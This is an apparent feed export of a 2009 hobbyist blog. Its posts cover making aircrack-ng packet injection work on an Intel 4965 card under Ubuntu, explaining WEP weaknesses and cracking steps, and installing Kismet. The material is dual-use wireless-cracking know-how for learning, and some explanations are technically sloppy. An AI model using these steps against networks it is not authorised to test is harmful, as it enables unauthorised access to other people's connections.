fun.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Previously in my Gutsy, I was having a kernel 2.6.22, As I have read so far, packet injection doesn't work properly (&lt;a href="http://www.blogger.com/%20//tinyshell.be/aircrackng/forum/index.php?topic=3954.0"&gt;http: //tinyshell.be/aircrackng/forum/index.php?topic=3954.0&lt;/a&gt; ) below kernels 2.6.25. Even I had to install the driver for Intel 4965 wireless card. That made my wireless work but even after applying the relevant patches I couldn't make injection work. When I tried to update my kernel through apt-get it showed me some errors. And finally the newer kernel never booted and my 2.6.22 was rendered almost useless.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I never debugged as I was more interested in making injection work somehow. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;My next endeavour included downloading Backtrack 3, installing it in a USB drive. But still the injection through aireplay-ng didn't work. I also downloaded the latest Ubuntu 8.10 Intrepid Ibex, which is having a kernel 2.6.27. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The good part is that the driver support for Intel 4965 is included in this kernel. What I read from the Intel site is that driver support for this card (Intel iwl4965) is included in kernels higher than 2.6.24. (&lt;a href="http://www.intellinuxwireless.org/?p=iwlwifi"&gt;http://www.intellinuxwireless.org/?p=iwlwifi&lt;/a&gt;) So, no doubt my wireless connection is working well with the default config.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; But for making packet injection work, I read through the forum and learned that I need to download the latest compat driver to make injection work.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;OK, so I downloaded &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2.6.tar.bz2"&gt;&lt;span style="text-decoration: underline;"&gt;http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2.6.tar.bz2&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;from here:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://linuxwireless.org/en/users/Download"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://linuxwireless.org/en/users/Download"&gt;http://linuxwireless.org/en/users/Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Besides this there is a mention of separate injection patches for iwl4965 and mac80211 but nevertheless I never needed them. :) (Thanks to alex88)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;After downloading the compat driver to my root folder.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;tar -jxf compat-wireless-2.6.tar.bz2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;cd compat-wireless-2009-01-08/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;and then &lt;span style="color: rgb(255, 255, 0);"&gt;reboot&lt;/span&gt;!!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;After that I set my wireless interface in monitor mode by&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The &lt;span style="color: rgb(255, 255, 0);"&gt;airmon-ng&lt;/span&gt; creates another interface mon0 in monitor mode. (NOt sure how and why but there is no need to mess with wlan0 :), something that I realised late :/)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;and you can try the packet injection test:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;root@r00t3r:/home/hax0r# aireplay-ng -9 mon0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;14:41:02  Trying broadcast probe requests...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;14:41:02  Injection is working!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;14:41:04  Found 0 APs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;root@r00t3r:/home/hax0r# &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Although it says Injection is working, but it can be misleading as it showed me the same message when I ran it for the first time after patching in my Ubuntu 7.10 Gutsy.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;So again went through the forum and used the following commands to reload the driver modules (I don't know why they again installed compat, I think once you have installed it correctly, reloading the modules should do the work)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Go to the compat directory (where you extracted compat driver) and issue the following commands:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make install&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;rmmod iwlagn&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;rmmod iwlcore&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;rmmod mac80211&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;rmmod cfg80211&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;modprobe iwlagn&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;modprobe mac80211&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;modprobe cfg80211&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;When I again tried the injection test it gave me positive results:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;root@r00t3r:/home/aditya# aireplay-ng -9 mon0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;19:43:21  Trying broadcast probe requests...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;19:43:21  Injection is working!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;19:43:22  Found 1 AP &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;19:43:22  Trying directed probe requests...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;19:43:22  xx:xx:xx:xx:xx:xx - channel: 1 - 'Gamtal@280'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;19:43:24  Ping (min/avg/max): 9.500ms/40.762ms/70.648ms Power: 167.00&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;19:43:24  28/30:  93%&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;As of now I only tried to run 'Interactive frame selection technique' the option 2 of aireplay-ng. And it seemed to work normally. Didn't do other tests, as I don't know the theory part of it. Will try them and let you know later. As of now I am more than elated that somehow injection is working on my machine. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Summary&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;**********&lt;/span&gt;&lt;br /&gt;1. No injection patches required. (I havnt checked each and every attack, so this may change depending on the attack, like earliar we used to install specific patch for fakeauth. )&lt;br /&gt;2. Download latest compat driver.&lt;br /&gt;3. Install it using 'make' and 'make install'&lt;br /&gt;4. reboot.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Guidelines&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;************&lt;/span&gt;&lt;br /&gt;5. Make sure the 'Network Manager' of Ubuntu is not using your wireless card for wireless connections. Else while placing the interface in monitor mode, it will give a 'device busy' error. For this, Right Click the 'Network Manager' icon on your system tray and uncheck the enable wireless option. If you don't see the icon you can start it using 'nm-applet' command in the terminal. (as it used to happen in Ubuntu 7.10, the icon goes away sometimes :/)&lt;br /&gt;&lt;br /&gt;6. Make sure your card is switched 'ON' if any hardware key exists in your laptop. (yes, this can happen as well :))&lt;br /&gt;&lt;br /&gt;Hope this works for you.&lt;br /&gt;&lt;br /&gt;BByes for nows. See you laters. :) MUha&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-5179148269622109119?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/5179148269622109119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/01/making-packet-injection-work-on-ubuntu.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5179148269622109119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5179148269622109119'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/01/making-packet-injection-work-on-ubuntu.html' title='Making Packet Injection work on Ubuntu 8.10 (Intrepid Ibex) kernel 2.6.27 on Intel 4965 AG/AGN wireless card'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-3674760288026334047</id><published>2009-01-08T17:34:00.000+05:30</published><updated>2009-01-08T17:40:30.961+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless aircrack-ng ubuntu security'/><title type='text'>Wireless Insecurity</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Noobish Theory for understanding the aircrack suit tools and their purpose:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.&lt;/span&gt; When you are using a personal wireless connection, it typically consists of a small wireless router. THis wireless router emits radio signals which can be detected by a compatible wireless card installed in your laptop/desktop.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.&lt;/span&gt; The normal process is that your laptop (wireless card) connects to the wireless router and thus you can enjoy an internet connection without connecting through a wire (so its called wireless).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.&lt;/span&gt; Now if your neighbour's laptop can detect those signals as well, he can connect to the router and enjoy the free internet connection as well. His internet usage will be billed to you and so your internet bill will shoot to a high.&lt;br /&gt;Plus he/she can use your internet connection for illegal activities like sending fake mails from your ip, downloading pr0n, and hacking.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4.&lt;/span&gt; For this purpose the wireless router lets you enable a lame security called WEP and now you can set a 5 char or 13 char long passphrase. THis passphrase is required when you connect to your wireless router. So now, in order to use the internet you or your neighbour must provide the 5/13 char passphrase.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5. &lt;/span&gt;This may protect your internet from normal users, but its still insecure due to the inherent weakness in the WEP encryption scheme. So a determined hacker can still break into your wireless network and find the passphrase. THereby enjoying free internet again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6.&lt;/span&gt; If you did some reading on WEP encryption you may have heard of Initialisation Vectors and 64 bit/ 128 bit encryption scheme. Let me tell you, the passphrase in the WEP can be of 5 or 13 characters only. Once you have supplied the passphrase tHe WEP encryption appends 3 more characters to it making it &lt;span style="font-weight: bold; color: rgb(255, 255, 0);"&gt;5+3=8 or 13+3=16&lt;/span&gt; bit passphrase, this 3 char set is known as the Initialisation vector which is generated randomly for each packet. THese 8 or 16 character bytes amount to 8*8=64 or 16*8=128 bits and so its called 64/128 bit encryption.&lt;br /&gt;So the bottomline is:&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 255, 0);"&gt;5 char passphrase&lt;/span&gt; means &lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;64 bit WEP encryption&lt;/span&gt; and&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;13 char passphrase&lt;/span&gt; means &lt;span style="font-weight: bold; color: rgb(255, 255, 0);"&gt;128 bit WEP encryption&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Needless to say, you must use 128 bit encryption all the times. Although it can be cracked but still, it will take longer time and will involve more skill.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;7.&lt;/span&gt; Now about the cracking part, the use of weak IVs makes WEP a weak algorithm. (as far as i have heard so far :/) So inorder to crack the passphrase (key) successfully you need to capture a large number of packets. These captured packets will then be fed to the WEP cracking tool called aircrack-ng.&lt;br /&gt;Which if successful will tell you the key.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;8.&lt;/span&gt; OK, now about the tools purpose.&lt;br /&gt;&gt;&gt;&gt;&lt;span style="font-weight: bold; color: rgb(255, 255, 0);"&gt;airmon-ng&lt;/span&gt;&lt;br /&gt;Its for setting your wireless interface in monitor mode.&lt;br /&gt;You can do anything only if you have a wireless interface in monitor mode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt;Once you have your wireless interface in monitor mode, you can start &lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;airodump-ng&lt;/span&gt; to capture packets in a file.&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt;Your packet capturing rate will be very slow (in search of packets with weak IVs), and it may take days to crack. For this purpose we employ a new technique called &lt;span style="font-weight: bold; color: rgb(255, 255, 0);"&gt;packet injection&lt;/span&gt;. We use the tool called &lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;aireplay-ng&lt;/span&gt; for this purpose.&lt;br /&gt;It will make your wireless card inject wireless packets in the wireless network. Chances are that the wireless router will respond to your injected packets (if they reach the router, your card should be powerful enough) and so the number of captured packets (in &lt;span style="font-weight: bold; color: rgb(255, 255, 0);"&gt;airodump-ng&lt;/span&gt;) will increase dramatically. Capturing more number of packets in less amount of time increases your chances of cracking the key quickly. Sometimes it can take only 5 minutes as I saw in some videos!!! Depending on the type of encryption in use (64/128) the number of packets to be captured may vary.&lt;br /&gt;BUt let me warn you, packet injection is not that simple as injection support is not there in most of the wireless drivers. You may be required to patch your driver for injection support first, which can be a tiring procedure if you dont know much about linux. If that is the case you may choose Backtrack 3. (details later ;))&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt;Once you have captured a good number of packets you can use the &lt;span style="font-weight: bold; color: rgb(255, 255, 0);"&gt;aircrack-ng&lt;/span&gt; tool to find the key. Depending on your luck and the hardware config of your computer you may find the key in some time.&lt;br /&gt;&lt;br /&gt;Till now I couldnt find any of the keys as I am still busy patching my new INtrepid. My friend has a Mac-book where we enable wep encryption and try our newly learned techniques. Dont do all this on any network that is not yours, it comes under criminal activites and you can be jailed for that. I havnt studied about the alternatives of WEP yet, but I will study them soon. (they exist)&lt;br /&gt;&lt;br /&gt;So till then good-bye. I didnt tell you the story about how I screwed my Gutsy Gibbon while patching the driver for injection. :) Thats a hell long story.&lt;br /&gt;&lt;br /&gt;See ya then.&lt;br /&gt;Good Bye.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-3674760288026334047?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/3674760288026334047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/01/wireless-insecurity.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3674760288026334047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3674760288026334047'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/01/wireless-insecurity.html' title='Wireless Insecurity'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-1673491467451447030</id><published>2009-01-07T17:35:00.000+05:30</published><updated>2009-01-08T17:34:19.809+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless intel 4965 ubuntu 7.10'/><title type='text'>Intel 4965 wifi driver Ubuntu wireless</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="font-weight: bold;"&gt;Long Break&lt;br /&gt;**************&lt;br /&gt;&lt;/span&gt;So here we meet again. :) Almost after 1 year. I had almost forgotten this technoshit during the preparation of CAT. THe results will be out this weekend, my DI score was pathetic,  so not many expectations :/. And now I think I am back.&lt;br /&gt;&lt;br /&gt;Trying hands at wireless hacking these days. I had an old ubuntu 7.10 "Gutsy Gibbon", which was screwed few days back while updating the kernel. As packet injection is not supported with older kernels (2.6.22) esp in Ubuntu. You know what I feel, if you want to learn wireless hacking, try your hands asap, or else WEP will become obsolete in the coming days and stronger algos wont let you steal the fun.Anyways I aint a supporter of hacking, but I like learning new things esp which give me a technical advantage and a feeling of technical prowess among my peers. ok, lots of shit here. Here is what happened in the last few days:&lt;br /&gt;&lt;br /&gt;I have a THinkpad T61 with an Intel iwl4965 wireless card with an Ubuntu 7.10. So from the aircrack forums I got an idea that making wireless hacking work on an intel 4965 card on ubuntu is still under development. In fact some guys said that its impossible with a kernel less than 2.6.25. Mine was 2.6.22 :/ so I tried an array of commands as mentioned in the posts. I am sorry I never saved the links, but you will ultimately reach there, if you search google for intel 4965 wireless hacking ubuntu.OK, I must tell you that in the process I screwed my Ubuntu 7.10, but still I will mention few things that I learnt in the process.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;How I made my wireless work on Ubuntu 7.10.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You may be facing some problems with enabling wireless on your Ubuntu. First you need to understand what wireless card is there in your laptop. (Its something for idiots like me, I never knew what card exists inside :/)&lt;br /&gt;From what I learned from the aircrack site (I will try my best to provide the original links at the bottom) articles is that there are many manufactureres of wireless cards in the market. For eg. Netgear, Cisco etc.&lt;br /&gt;A wireless card consists of two main parts:&lt;br /&gt;&lt;br /&gt;1. The outer radio device&lt;br /&gt;2. and the internal chipset.&lt;br /&gt;&lt;br /&gt;MOst of the wireless card manufactureres dont disclose what internal chipset they are using. But we need to find it out, if we need to install the concerned drivers.&lt;br /&gt;&lt;br /&gt;If you dont know what card is there in your laptop, try the command lspci on your terminal. It will give you a list of all pci devices that are there in your laptop.&lt;br /&gt;TRy to find keywords like "wireless"&lt;br /&gt;For eg. this is the output on my laptop:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;root@r00t3r:/# lspci&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:00.0 Host bridge: Intel Corporation Mobile PM965/GM965/GL960 Memory Controller Hub (rev 0c)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:01.0 PCI bridge: Intel Corporation Mobile PM965/GM965/GL960 PCI Express Root Port (rev 0c)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:19.0 Ethernet controller: Intel Corporation 82566MM Gigabit Network Connection (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1a.0 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #4 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1a.1 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #5 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1a.7 USB Controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #2 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1b.0 Audio device: Intel Corporation 82801H (ICH8 Family) HD Audio Controller (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1c.0 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 1 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1c.1 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 2 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1c.2 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 3 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1c.3 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 4 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1c.4 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 5 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1d.0 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #1 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1d.1 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #2 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1d.2 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #3 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1d.7 USB Controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #1 (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev f3)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1f.0 ISA bridge: Intel Corporation 82801HBM (ICH8M-E) LPC Interface Controller (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1f.2 IDE interface: Intel Corporation 82801HBM/HEM (ICH8M/ICH8M-E) SATA IDE Controller (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;00:1f.3 SMBus: Intel Corporation 82801H (ICH8 Family) SMBus Controller (rev 03)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;01:00.0 VGA compatible controller: nVidia Corporation Quadro NVS 140M (rev a1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;03:00.0 Network controller: Intel Corporation PRO/Wireless 4965 AG or AGN [Kedron] Network Connection (rev 61)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;15:00.0 CardBus bridge: Ricoh Co Ltd RL5c476 II (rev ba)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;15:00.1 FireWire (IEEE 1394): Ricoh Co Ltd R5C832 IEEE 1394 Controller (rev 04)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;root@r00t3r:/# &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As you can see in the bold, the wireless chipset that my card is using.&lt;br /&gt;&lt;br /&gt;Now we can google with this name and try to find, if we can install the driver for this card.  This guide helped me with the install:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ubuntuforums.org/showpost.php?p=2514602&amp;amp;postcount=8"&gt;http://ubuntuforums.org/showpost.php?p=2514602&amp;amp;postcount=8&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ubuntuforums.org/showthread.php?t=471794"&gt;http://ubuntuforums.org/showthread.php?t=471794&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I installed ndiswrapper through apt-get.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;root@r00t3r:/# apt-get install ndiswrapper-common&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;After that I downloaded the concerned windows driver from Intel site&lt;br /&gt;I dont really know how the windows driver worked for linux using ndiswrapper.&lt;br /&gt;Never researched about it either.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://downloadcenter.intel.com/Product_Filter.aspx?ProductID=2753&amp;amp;lang=eng"&gt;http://downloadcenter.intel.com/Product_Filter.aspx?ProductID=2753&amp;amp;lang=eng&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;I downloaded the driver and issued the &lt;span style="color: rgb(255, 255, 0);"&gt;ndiswrapper &lt;/span&gt;commands as mentioned in the link, and after a reboot it started working. (As far as I remember)&lt;br /&gt;&lt;br /&gt;So I felt good when I made my wifi work. BUt my aim was to make it work for wireless hacking.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;br /&gt;Brief Info of Wireless Tools.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. In order to see wireless networks, you need to have a tool like NetStumbler/Kismet/Airsnort&lt;br /&gt;&lt;br /&gt;Netstumbler is for windows, Airsnort is obsolete. and I liked KIsmet very much.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;#apt-get install kismet&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;you may be required to edit the kismet.conf file (generally in /etc/kismet) by changing the sources parameter. This may depend on your chipset.&lt;br /&gt;&lt;br /&gt;MIne worked by changing it to:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;source=wlanng,wlan0,kismet&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;and yes, run it with root privilege, or else change this line with your sudoer, and uncomment it:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;#suiduser=your_user_here&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Now, kismet is a wonderful tool, so please have a look at the detailed tutorials available on google.&lt;br /&gt;&lt;br /&gt;2. THe other tool list is for sniffing wireless packets and cracking them. Whatever I am writing, is by assuming that you already understand how wifi works and why it is insecure. If you dont, then google for the basics of wifi, and in particular weaknesses in WEP (Initialisation vectors (what,why etc)). Or else you wont understand what the tools do.&lt;br /&gt;install the aircrack suit.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;#apt-get install aircrack-ng&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;After installing this suit, you will find the following tools (list not complete):&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;airodump-ng&lt;/span&gt;   : for capturing data packets&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;airmon-ng&lt;/span&gt;  : for setting your wireless interface in monitor mode&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aircrack-ng&lt;/span&gt; : for cracking the captured data and finding the keys&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aireplay-ng&lt;/span&gt; : for injecting packets&lt;br 